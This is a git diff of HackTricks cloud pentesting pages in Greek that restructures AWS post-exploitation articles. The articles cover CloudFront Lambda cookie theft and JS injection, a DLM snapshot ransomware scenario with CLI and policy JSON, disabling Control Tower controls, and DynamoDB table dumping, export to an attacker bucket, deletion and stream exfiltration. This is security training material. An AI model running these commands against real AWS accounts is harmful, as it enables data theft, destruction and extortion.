πρόσβαση σε πόρους API, παράκαμψη μηχανισμών ασφαλείας. + +> [!NOTE] +> Απαιτείται δοκιμή + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md deleted file mode 100644 index 1da3bb75c..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md +++ /dev/null @@ -1,31 +0,0 @@ -# AWS - CloudFront Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## CloudFront - -Για περισσότερες πληροφορίες ελέγξτε: - -{{#ref}} -../aws-services/aws-cloudfront-enum.md -{{#endref}} - -### Man-in-the-Middle - -Αυτή η [**ανάρτηση στο blog**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) προτείνει μερικά διαφορετικά σενάρια όπου μια **Lambda** θα μπορούσε να προστεθεί (ή να τροποποιηθεί αν χρησιμοποιείται ήδη) σε μια **επικοινωνία μέσω CloudFront** με σκοπό την **κλεψιά** πληροφοριών χρηστών (όπως το **cookie** της συνεδρίας) και **τροποποίηση** της **απάντησης** (εισαγωγή ενός κακόβουλου JS script). - -#### σενάριο 1: MitM όπου το CloudFront είναι ρυθμισμένο να έχει πρόσβαση σε κάποιο HTML ενός bucket - -- **Δημιουργήστε** τη κακόβουλη **λειτουργία**. -- **Συνδέστε** την με την διανομή CloudFront. -- Ρυθμίστε τον **τύπο γεγονότος σε "Viewer Response"**. - -Αποκτώντας πρόσβαση στην απάντηση μπορείτε να κλέψετε το cookie των χρηστών και να εισάγετε ένα κακόβουλο JS. - -#### σενάριο 2: MitM όπου το CloudFront χρησιμοποιεί ήδη μια lambda λειτουργία - -- **Τροποποιήστε τον κώδικα** της lambda λειτουργίας για να κλέψετε ευαίσθητες πληροφορίες - -Μπορείτε να ελέγξετε τον [**κώδικα tf για να αναδημιουργήσετε αυτά τα σενάρια εδώ**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main). - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md new file mode 100644 index 000000000..2885b4c06 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md @@ -0,0 +1,31 @@ +# AWS - CloudFront Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## CloudFront + +Για περισσότερες πληροφορίες δείτε: + +{{#ref}} +../../aws-services/aws-cloudfront-enum.md +{{#endref}} + +### Man-in-the-Middle + +This [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) προτείνει μερικά διαφορετικά σενάρια όπου μια **Lambda** θα μπορούσε να προστεθεί (ή να τροποποιηθεί αν ήδη χρησιμοποιείται) σε μια **επικοινωνία μέσω CloudFront** με σκοπό την **κλοπή** πληροφοριών χρηστών (όπως το session **cookie**) και την **τροποποίηση** της **απάντησης** (έγχυση κακόβουλου JS script). + +#### σενάριο 1: MitM όπου το CloudFront είναι ρυθμισμένο να αποκτά πρόσβαση σε κάποιο HTML ενός bucket + +- **Δημιουργήστε** τη κακόβουλη **function**. +- **Συνδέστε** την με τη διανομή CloudFront. +- Ορίστε τον **τύπο event σε "Viewer Response"**. + +Πρόσβαση στην απάντηση θα σας επέτρεπε να κλέψετε το cookie των χρηστών και να εισάγετε κακόβουλο JS. + +#### σενάριο 2: MitM όπου το CloudFront ήδη χρησιμοποιεί μια Lambda function + +- **Τροποποιήστε τον κώδικα** της Lambda function για να κλέψετε ευαίσθητες πληροφορίες + +Μπορείτε να δείτε το [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main). + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md deleted file mode 100644 index 5ea4a7ca8..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md +++ /dev/null @@ -1,18 +0,0 @@ -# AWS - Control Tower Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## Control Tower - -{{#ref}} -../aws-services/aws-security-and-detection-services/aws-control-tower-enum.md -{{#endref}} - -### Ενεργοποίηση / Απενεργοποίηση Ελέγχων - -Για να εκμεταλλευτείτε περαιτέρω έναν λογαριασμό, ίσως χρειαστεί να απενεργοποιήσετε/ενεργοποιήσετε τους ελέγχους του Control Tower: -```bash -aws controltower disable-control --control-identifier --target-identifier -aws controltower enable-control --control-identifier --target-identifier -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation/README.md new file mode 100644 index 000000000..4c57bb2b6 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation/README.md @@ -0,0 +1,18 @@ +# AWS - Control Tower Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## Control Tower + +{{#ref}} +../../aws-services/aws-security-and-detection-services/aws-control-tower-enum.md +{{#endref}} + +### Ενεργοποίηση / Απενεργοποίηση ελέγχων + +Για να κάνετε περαιτέρω exploit ενός λογαριασμού, ίσως χρειαστεί να απενεργοποιήσετε/ενεργοποιήσετε τους ελέγχους του Control Tower: +```bash +aws controltower disable-control --control-identifier --target-identifier +aws controltower enable-control --control-identifier --target-identifier +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md deleted file mode 100644 index b396f15a8..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md +++ /dev/null @@ -1,91 +0,0 @@ -# AWS - DLM Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## Data Lifecycle Manger (DLM) - -### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy` - -Μια επίθεση ransomware μπορεί να εκτελεστεί κρυπτογραφώντας όσο το δυνατόν περισσότερους EBS όγκους και στη συνέχεια διαγράφοντας τις τρέχουσες EC2 περιπτώσεις, EBS όγκους και στιγμιότυπα. Για να αυτοματοποιηθεί αυτή η κακόβουλη δραστηριότητα, μπορεί κανείς να χρησιμοποιήσει το Amazon DLM, κρυπτογραφώντας τα στιγμιότυπα με ένα KMS κλειδί από άλλο AWS λογαριασμό και μεταφέροντας τα κρυπτογραφημένα στιγμιότυπα σε διαφορετικό λογαριασμό. Εναλλακτικά, μπορεί να μεταφέρει στιγμιότυπα χωρίς κρυπτογράφηση σε έναν λογαριασμό που διαχειρίζεται και στη συνέχεια να τα κρυπτογραφήσει εκεί. Αν και δεν είναι απλό να κρυπτογραφηθούν οι υπάρχοντες EBS όγκοι ή στιγμιότυπα άμεσα, είναι δυνατόν να γίνει αυτό δημιουργώντας έναν νέο όγκο ή στιγμιότυπο. - -Αρχικά, θα χρησιμοποιήσει μια εντολή για να συγκεντρώσει πληροφορίες σχετικά με τους όγκους, όπως το ID της περιπτώσης, το ID του όγκου, την κατάσταση κρυπτογράφησης, την κατάσταση προσάρτησης και τον τύπο του όγκου. - -`aws ec2 describe-volumes` - -Δεύτερον, θα δημιουργήσει την πολιτική κύκλου ζωής. Αυτή η εντολή χρησιμοποιεί το DLM API για να ρυθμίσει μια πολιτική κύκλου ζωής που αυτόματα λαμβάνει καθημερινά στιγμιότυπα των καθορισμένων όγκων σε μια καθορισμένη ώρα. Επίσης, εφαρμόζει συγκεκριμένες ετικέτες στα στιγμιότυπα και αντιγράφει ετικέτες από τους όγκους στα στιγμιότυπα. Το αρχείο policyDetails.json περιλαμβάνει τις λεπτομέρειες της πολιτικής κύκλου ζωής, όπως τις στοχευμένες ετικέτες, το πρόγραμμα, το ARN του προαιρετικού KMS κλειδιού για κρυπτογράφηση και τον στοχευόμενο λογαριασμό για κοινή χρήση στιγμιότυπων, ο οποίος θα καταγραφεί στα αρχεία καταγραφής CloudTrail του θύματος. -```bash -aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json -``` -Ένα πρότυπο για το έγγραφο πολιτικής μπορεί να δει εδώ: -```bash -{ -"PolicyType": "EBS_SNAPSHOT_MANAGEMENT", -"ResourceTypes": [ -"VOLUME" -], -"TargetTags": [ -{ -"Key": "ExampleKey", -"Value": "ExampleValue" -} -], -"Schedules": [ -{ -"Name": "DailySnapshots", -"CopyTags": true, -"TagsToAdd": [ -{ -"Key": "SnapshotCreator", -"Value": "DLM" -} -], -"VariableTags": [ -{ -"Key": "CostCenter", -"Value": "Finance" -} -], -"CreateRule": { -"Interval": 24, -"IntervalUnit": "HOURS", -"Times": [ -"03:00" -] -}, -"RetainRule": { -"Count": 14 -}, -"FastRestoreRule": { -"Count": 2, -"Interval": 12, -"IntervalUnit": "HOURS" -}, -"CrossRegionCopyRules": [ -{ -"TargetRegion": "us-west-2", -"Encrypted": true, -"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id", -"CopyTags": true, -"RetainRule": { -"Interval": 1, -"IntervalUnit": "DAYS" -} -} -], -"ShareRules": [ -{ -"TargetAccounts": [ -"123456789012" -], -"UnshareInterval": 30, -"UnshareIntervalUnit": "DAYS" -} -] -} -], -"Parameters": { -"ExcludeBootVolume": false -} -} -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation/README.md new file mode 100644 index 000000000..213010b9d --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation/README.md @@ -0,0 +1,91 @@ +# AWS - DLM Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## Διαχείριση Κύκλου Ζωής Δεδομένων (DLM) + +### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy` + +Μια επίθεση ransomware μπορεί να εκτελεστεί κρυπτογραφώντας όσο το δυνατόν περισσότερους EBS volumes και στη συνέχεια διαγράφοντας τα τρέχοντα EC2 instances, EBS volumes και snapshots. Για την αυτοματοποίηση αυτής της κακόβουλης ενέργειας, μπορεί να χρησιμοποιηθεί το Amazon DLM, κρυπτογραφώντας τα snapshots με ένα KMS key από άλλο AWS account και μεταφέροντας τα κρυπτογραφημένα snapshots σε διαφορετικό account. Εναλλακτικά, μπορεί να μεταφέρουν snapshots χωρίς κρυπτογράφηση σε ένα account που ελέγχουν και στη συνέχεια να τα κρυπτογραφήσουν εκεί. Αν και δεν είναι απλό να κρυπτογραφηθούν άμεσα υπάρχοντες EBS volumes ή snapshots, είναι δυνατό να γίνει αυτό με τη δημιουργία νέου volume ή snapshot. + +Πρώτα, θα χρησιμοποιηθεί μια εντολή για τη συλλογή πληροφοριών σχετικά με τα volumes, όπως instance ID, volume ID, κατάσταση κρυπτογράφησης, κατάσταση συνημμένων (attachment status) και τύπο volume. + +`aws ec2 describe-volumes` + +Δεύτερον, θα δημιουργηθεί η lifecycle policy. Αυτή η εντολή χρησιμοποιεί το DLM API για να ρυθμίσει μια lifecycle policy που αυτομάτως παίρνει καθημερινά snapshots των καθορισμένων volumes σε συγκεκριμένη ώρα. Επίσης εφαρμόζει συγκεκριμένα tags στα snapshots και αντιγράφει tags από τα volumes στα snapshots. Το αρχείο policyDetails.json περιλαμβάνει τις λεπτομέρειες της lifecycle policy, όπως τα target tags, το schedule, το ARN του προαιρετικού KMS key για κρυπτογράφηση και το target account για sharing των snapshots, το οποίο θα καταγραφεί στα CloudTrail logs του θύματος. +```bash +aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json +``` +Ένα πρότυπο για το έγγραφο πολιτικής φαίνεται εδώ: +```bash +{ +"PolicyType": "EBS_SNAPSHOT_MANAGEMENT", +"ResourceTypes": [ +"VOLUME" +], +"TargetTags": [ +{ +"Key": "ExampleKey", +"Value": "ExampleValue" +} +], +"Schedules": [ +{ +"Name": "DailySnapshots", +"CopyTags": true, +"TagsToAdd": [ +{ +"Key": "SnapshotCreator", +"Value": "DLM" +} +], +"VariableTags": [ +{ +"Key": "CostCenter", +"Value": "Finance" +} +], +"CreateRule": { +"Interval": 24, +"IntervalUnit": "HOURS", +"Times": [ +"03:00" +] +}, +"RetainRule": { +"Count": 14 +}, +"FastRestoreRule": { +"Count": 2, +"Interval": 12, +"IntervalUnit": "HOURS" +}, +"CrossRegionCopyRules": [ +{ +"TargetRegion": "us-west-2", +"Encrypted": true, +"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id", +"CopyTags": true, +"RetainRule": { +"Interval": 1, +"IntervalUnit": "DAYS" +} +} +], +"ShareRules": [ +{ +"TargetAccounts": [ +"123456789012" +], +"UnshareInterval": 30, +"UnshareIntervalUnit": "DAYS" +} +] +} +], +"Parameters": { +"ExcludeBootVolume": false +} +} +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md similarity index 51% rename from src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md rename to src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md index 76a6a2c5f..1a8ca8233 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md @@ -1,18 +1,18 @@ # AWS - DynamoDB Post Exploitation -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## DynamoDB Για περισσότερες πληροφορίες δείτε: {{#ref}} -../aws-services/aws-dynamodb-enum.md +../../aws-services/aws-dynamodb-enum.md {{#endref}} ### `dynamodb:BatchGetItem` -Ένας επιτιθέμενος με αυτά τα δικαιώματα θα μπορεί να **ανακτήσει αντικείμενα από πίνακες με βάση το πρωτεύον κλειδί** (δεν μπορείτε απλώς να ζητήσετε όλα τα δεδομένα του πίνακα). Αυτό σημαίνει ότι πρέπει να γνωρίζετε τα πρωτεύοντα κλειδιά (μπορείτε να τα αποκτήσετε λαμβάνοντας τα μεταδεδομένα του πίνακα (`describe-table`). +Ένας επιτιθέμενος με αυτό το δικαίωμα θα μπορεί να **ανακτά εγγραφές από πίνακες με βάση το πρωτεύον κλειδί** (δεν μπορείτε απλώς να ζητήσετε όλα τα δεδομένα του πίνακα). Αυτό σημαίνει ότι πρέπει να γνωρίζετε τα πρωτεύοντα κλειδιά (μπορείτε να τα βρείτε λαμβάνοντας τα μεταδεδομένα του πίνακα (`describe-table`).) {{#tabs }} {{#tab name="json file" }} @@ -43,11 +43,11 @@ aws dynamodb batch-get-item \ {{#endtab }} {{#endtabs }} -**Πιθανός αντίκτυπος:** Έμμεσο privesc μέσω εντοπισμού ευαίσθητων πληροφοριών στον πίνακα +**Potential Impact:** Έμμεσο privesc μέσω εντοπισμού ευαίσθητων πληροφοριών στον πίνακα ### `dynamodb:GetItem` -**Παρόμοιο με τα προηγούμενα δικαιώματα** αυτό επιτρέπει σε έναν πιθανό επιτιθέμενο να διαβάσει τιμές από μόνο 1 πίνακα δεδομένων, δεδομένου του πρωτεύοντος κλειδιού της εγγραφής που θα ανακτήσει: +**Παρόμοιο με τα προηγούμενα δικαιώματα** αυτό επιτρέπει σε έναν πιθανό επιτιθέμενο να διαβάσει τιμές από μόνον 1 πίνακα, εφόσον γνωρίζει το πρωτεύον κλειδί της εγγραφής που θέλει να ανακτήσει: ```json aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json @@ -58,7 +58,7 @@ aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json } } ``` -Με αυτήν την άδεια είναι επίσης δυνατό να χρησιμοποιηθεί η μέθοδος **`transact-get-items`** όπως: +Με αυτή την άδεια είναι επίσης δυνατό να χρησιμοποιήσετε τη μέθοδο **`transact-get-items`** ως εξής: ```json aws dynamodb transact-get-items \ --transact-items file:///tmp/a.json @@ -75,11 +75,11 @@ aws dynamodb transact-get-items \ } ] ``` -**Potential Impact:** Έμμεση privesc με τον εντοπισμό ευαίσθητων πληροφοριών στον πίνακα +**Δυνητικός αντίκτυπος:** Έμμεσο privesc εντοπίζοντας ευαίσθητες πληροφορίες στον πίνακα ### `dynamodb:Query` -**Παρόμοιο με τα προηγούμενα δικαιώματα** αυτό επιτρέπει σε έναν πιθανό attacker να διαβάσει τιμές από μόνον 1 table δεδομένου του primary key της εγγραφής που θα ανακτήσει. Επιτρέπει τη χρήση ενός [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), αλλά η μόνη σύγκριση που επιτρέπεται με το primary key (που πρέπει να εμφανιστεί) είναι "EQ", οπότε δεν μπορείτε να χρησιμοποιήσετε σύγκριση για να πάρετε ολόκληρη τη DB σε ένα request. +**Παρόμοιο με τις προηγούμενες άδειες** αυτό επιτρέπει σε έναν πιθανό επιτιθέμενο να διαβάσει τιμές από μόνον 1 πίνακα δεδομένων δεδομένου του πρωτεύοντος κλειδιού της εγγραφής που θέλει να ανακτήσει. Επιτρέπει τη χρήση ενός [υποσυνόλου συγκρίσεων](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), αλλά η μόνη σύγκριση που επιτρέπεται με το πρωτεύον κλειδί (που πρέπει να εμφανίζεται) είναι "EQ", οπότε δεν μπορείτε να χρησιμοποιήσετε σύγκριση για να πάρετε ολόκληρη τη βάση δεδομένων σε ένα αίτημα. {{#tabs }} {{#tab name="json file" }} @@ -107,35 +107,35 @@ aws dynamodb query \ {{#endtab }} {{#endtabs }} -**Πιθανός Αντίκτυπος:** Έμμεσο privesc μέσω εντοπισμού ευαίσθητων πληροφοριών στον πίνακα +**Πιθανός Αντικτύπος:** Έμμεση privesc μέσω εντοπισμού ευαίσθητων πληροφοριών στον πίνακα ### `dynamodb:Scan` -Μπορείτε να χρησιμοποιήσετε αυτή την άδεια για να **dump ολόκληρο τον πίνακα εύκολα**. +Μπορείτε να χρησιμοποιήσετε αυτήν την άδεια για να **dump ολόκληρο τον πίνακα εύκολα**. ```bash aws dynamodb scan --table-name #Get data inside the table ``` -**Πιθανός Αντίκτυπος:** Έμμεση privesc μέσω εντοπισμού ευαίσθητων πληροφοριών στον πίνακα +**Πιθανός Αντίκτυπος:** Έμμεσο privesc μέσω εντοπισμού ευαίσθητων πληροφοριών στον πίνακα ### `dynamodb:PartiQLSelect` -Μπορείτε να χρησιμοποιήσετε αυτό το δικαίωμα για να **dump ολόκληρο τον πίνακα εύκολα**. +Μπορείτε να χρησιμοποιήσετε αυτήν την άδεια για να **dump ολόκληρο τον πίνακα εύκολα**. ```bash aws dynamodb execute-statement \ --statement "SELECT * FROM ProductCatalog" ``` -Αυτό το δικαίωμα επιτρέπει επίσης την εκτέλεση του `batch-execute-statement`, όπως: +Αυτή η άδεια επιτρέπει επίσης την εκτέλεση του `batch-execute-statement` όπως: ```bash aws dynamodb batch-execute-statement \ --statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]' ``` -αλλά πρέπει να καθορίσετε το primary key με μια τιμή, οπότε δεν είναι τόσο χρήσιμο. +αλλά πρέπει να καθορίσεις το πρωτεύον κλειδί με μια τιμή, οπότε δεν είναι και τόσο χρήσιμο. -**Potential Impact:** Έμμεση privesc από τον εντοπισμό ευαίσθητων πληροφοριών στον πίνακα +**Πιθανός Αντίκτυπος:** Έμμεσο privesc μέσω εντοπισμού ευαίσθητων πληροφοριών στον πίνακα ### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)` -Αυτή η άδεια θα επιτρέψει σε έναν επιτιθέμενο να **εξάγει ολόκληρο τον πίνακα σε ένα S3 bucket** της επιλογής του: +Αυτό το permission θα επιτρέψει σε attacker να **export the whole table to a S3 bucket** της επιλογής του: ```bash aws dynamodb export-table-to-point-in-time \ --table-arn arn:aws:dynamodb:::table/TargetTable \ @@ -144,33 +144,33 @@ aws dynamodb export-table-to-point-in-time \ --export-time \ --region ``` -Σημειώστε ότι για να λειτουργήσει αυτό ο πίνακας πρέπει να έχει ενεργοποιημένο το point-in-time-recovery. Μπορείτε να ελέγξετε αν ο πίνακας το έχει με: +Σημειώστε ότι για να λειτουργήσει αυτό ο πίνακας πρέπει να έχει ενεργοποιημένο το point-in-time-recovery, μπορείτε να ελέγξετε αν ο πίνακας το έχει με: ```bash aws dynamodb describe-continuous-backups \ --table-name ``` -Αν δεν είναι ενεργοποιημένο, θα χρειαστεί να το **ενεργοποιήσετε** και γι' αυτό χρειάζεστε την άδεια **`dynamodb:ExportTableToPointInTime`**: +Εάν δεν είναι ενεργοποιημένο, θα χρειαστεί να το **ενεργοποιήσετε** και για αυτό χρειάζεστε την άδεια **`dynamodb:ExportTableToPointInTime`**: ```bash aws dynamodb update-continuous-backups \ --table-name \ --point-in-time-recovery-specification PointInTimeRecoveryEnabled=true ``` -**Potential Impact:** Έμμεση privesc μέσω εντοπισμού ευαίσθητων πληροφοριών στον πίνακα +**Πιθανός Αντίκτυπος:** Indirect privesc εντοπίζοντας ευαίσθητες πληροφορίες στον πίνακα -### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)` +### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)` -Με αυτά τα δικαιώματα, ένας attacker θα μπορούσε να **δημιουργήσει έναν νέο πίνακα από ένα backup** (ή ακόμη και να δημιουργήσει ένα backup για να το επαναφέρει σε διαφορετικό πίνακα). Έπειτα, με τα απαραίτητα δικαιώματα, θα μπορούσε να ελέγξει **πληροφορίες** από τα backups που c**δεν υπάρχουν πλέον στον production** πίνακα. +Με αυτά τα δικαιώματα, ένας επιτιθέμενος θα μπορούσε να **δημιουργήσει έναν νέο πίνακα από ένα backup** (ή ακόμη και να δημιουργήσει ένα backup για να το επαναφέρει σε διαφορετικό πίνακα). Στη συνέχεια, με τα απαραίτητα δικαιώματα, θα μπορούσε να ελέγξει τις **πληροφορίες** από τα backups που δ**εν θα βρίσκονται πια στον πίνακα παραγωγής**. ```bash aws dynamodb restore-table-from-backup \ --backup-arn \ --target-table-name \ --region ``` -**Πιθανός Αντίκτυπος:** Έμμεση privesc μέσω εντοπισμού ευαίσθητων πληροφοριών στο αντίγραφο ασφαλείας του πίνακα +**Πιθανός Αντίκτυπος:** Έμμεσο privesc μέσω εντοπισμού ευαίσθητων πληροφοριών στο αντίγραφο ασφαλείας του πίνακα ### `dynamodb:PutItem` -Αυτό το δικαίωμα επιτρέπει στους χρήστες να προσθέσουν ένα νέο item στον πίνακα ή να αντικαταστήσουν ένα υπάρχον item με ένα νέο item. Εάν υπάρχει ήδη item με το ίδιο primary key, το **ολόκληρο item θα αντικατασταθεί** με το νέο item. Εάν το primary key δεν υπάρχει, ένα νέο item με το καθορισμένο primary key θα **δημιουργηθεί**. +Αυτή η άδεια επιτρέπει στους χρήστες να προσθέσουν ένα **νέο αντικείμενο στον πίνακα ή να αντικαταστήσουν ένα υπάρχον αντικείμενο** με ένα νέο αντικείμενο. Εάν ένα αντικείμενο με το ίδιο πρωτεύον κλειδί υπάρχει ήδη, το **ολόκληρο αντικείμενο θα αντικατασταθεί** με το νέο αντικείμενο. Εάν το πρωτεύον κλειδί δεν υπάρχει, ένα νέο αντικείμενο με το καθορισμένο πρωτεύον κλειδί θα **δημιουργηθεί**. {{#tabs }} {{#tab name="XSS Example" }} @@ -202,11 +202,11 @@ aws dynamodb put-item \ {{#endtab }} {{#endtabs }} -**Πιθανός Αντίκτυπος:** Exploitation of further vulnerabilities/bypasses, έχοντας τη δυνατότητα να προσθέτετε/τροποποιείτε δεδομένα σε έναν πίνακα DynamoDB +**Potential Impact:** Εκμετάλλευση περαιτέρω ευπαθειών/παρακάμψεων με δυνατότητα προσθήκης/τροποποίησης δεδομένων σε έναν πίνακα DynamoDB ### `dynamodb:UpdateItem` -Αυτή η άδεια επιτρέπει στους χρήστες να **τροποποιούν τα υπάρχοντα attributes ενός στοιχείου ή να προσθέτουν νέα attributes σε ένα στοιχείο**. Δεν **αντικαθιστά** ολόκληρο το στοιχείο· ενημερώνει μόνο τα συγκεκριμένα attributes. Εάν το πρωτεύον κλειδί δεν υπάρχει στον πίνακα, η ενέργεια θα **δημιουργήσει ένα νέο στοιχείο** με το καθορισμένο πρωτεύον κλειδί και θα ορίσει τα attributes που καθορίζονται στην έκφραση ενημέρωσης. +Αυτό το δικαίωμα επιτρέπει στους χρήστες να **τροποποιούν τα υπάρχοντα χαρακτηριστικά ενός αντικειμένου ή να προσθέτουν νέα χαρακτηριστικά σε ένα αντικείμενο**. Δεν **αντικαθιστά** ολόκληρο το αντικείμενο; ενημερώνει μόνο τα συγκεκριμένα χαρακτηριστικά. Εάν το πρωτεύον κλειδί δεν υπάρχει στον πίνακα, η λειτουργία θα **δημιουργήσει ένα νέο αντικείμενο** με το καθορισμένο πρωτεύον κλειδί και θα ορίσει τα χαρακτηριστικά που καθορίζονται στην έκφραση ενημέρωσης. {{#tabs }} {{#tab name="XSS Example" }} @@ -242,49 +242,49 @@ aws dynamodb update-item \ {{#endtab }} {{#endtabs }} -**Πιθανή Επίπτωση:** Εκμετάλλευση επιπλέον vulnerabilities/bypasses μέσω της δυνατότητας προσθήκης/τροποποίησης δεδομένων σε έναν πίνακα DynamoDB +**Πιθανός Αντίκτυπος:** Εκμετάλλευση περαιτέρω ευπαθειών/παρακάμψεων με τη δυνατότητα προσθήκης/τροποποίησης δεδομένων σε έναν πίνακα DynamoDB ### `dynamodb:DeleteTable` -Ένας επιτιθέμενος με αυτήν την άδεια μπορεί να **διαγράψει έναν πίνακα DynamoDB, προκαλώντας απώλεια δεδομένων**. +Ένας επιτιθέμενος με αυτό το δικαίωμα μπορεί να **διαγράψει έναν πίνακα DynamoDB, προκαλώντας απώλεια δεδομένων**. ```bash aws dynamodb delete-table \ --table-name TargetTable \ --region ``` -**Potential impact**: Απώλεια δεδομένων και διακοπή υπηρεσιών που βασίζονται στον διαγραμμένο πίνακα. +**Πιθανός αντίκτυπος**: Απώλεια δεδομένων και διακοπή υπηρεσιών που εξαρτώνται από τον διαγραμμένο πίνακα. ### `dynamodb:DeleteBackup` -Ένας επιτιθέμενος με αυτή την άδεια μπορεί να **διαγράψει ένα backup του DynamoDB, προκαλώντας ενδεχομένως απώλεια δεδομένων σε περίπτωση σεναρίου ανάκαμψης από καταστροφή**. +Ένας επιτιθέμενος με αυτήν την άδεια μπορεί να **διαγράψει ένα αντίγραφο ασφαλείας του DynamoDB, ενδεχομένως προκαλώντας απώλεια δεδομένων σε περίπτωση σεναρίου ανάκτησης από καταστροφή**. ```bash aws dynamodb delete-backup \ --backup-arn arn:aws:dynamodb:::table/TargetTable/backup/BACKUP_ID \ --region ``` -**Πιθανός αντίκτυπος**: Απώλεια δεδομένων και αδυναμία ανάκτησης από αντίγραφο ασφαλείας σε σενάριο ανάκαμψης από καταστροφή. +**Ενδεχόμενος αντίκτυπος**: Απώλεια δεδομένων και αδυναμία ανάκτησης από ένα backup σε σενάριο ανάκτησης από καταστροφή. ### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords` > [!NOTE] -> TODO: Ελέγξτε αν αυτό λειτουργεί πραγματικά +> TODO: Δοκιμάστε αν αυτό λειτουργεί πραγματικά -Ένας attacker με αυτά τα permissions μπορεί να **enable a stream σε έναν DynamoDB table, update τον πίνακα για να ξεκινήσει το streaming των αλλαγών, και στη συνέχεια να έχει access στο stream για να παρακολουθεί τις αλλαγές στον πίνακα σε πραγματικό χρόνο**. Αυτό επιτρέπει στον attacker να παρακολουθεί και να exfiltrate αλλαγές δεδομένων, ενδεχομένως οδηγώντας σε data leakage. +Ένας attacker με αυτές τις άδειες μπορεί να **ενεργοποιήσει ένα stream σε έναν πίνακα DynamoDB, να ενημερώσει τον πίνακα ώστε να ξεκινήσει το streaming αλλαγών, και στη συνέχεια να έχει πρόσβαση στο stream για να παρακολουθεί τις αλλαγές στον πίνακα σε πραγματικό χρόνο**. Αυτό επιτρέπει στον attacker να παρακολουθεί και να exfiltrate αλλαγές δεδομένων, ενδεχομένως οδηγώντας σε data leakage. -1. Enable a stream on a DynamoDB table: +1. Ενεργοποιήστε ένα stream σε έναν πίνακα DynamoDB: ```bash aws dynamodb update-table \ --table-name TargetTable \ --stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \ --region ``` -2. Περιγράψτε το stream για να λάβετε το ARN και άλλες λεπτομέρειες: +2. Περιγράψτε τη ροή για να αποκτήσετε το ARN και άλλες λεπτομέρειες: ```bash aws dynamodb describe-stream 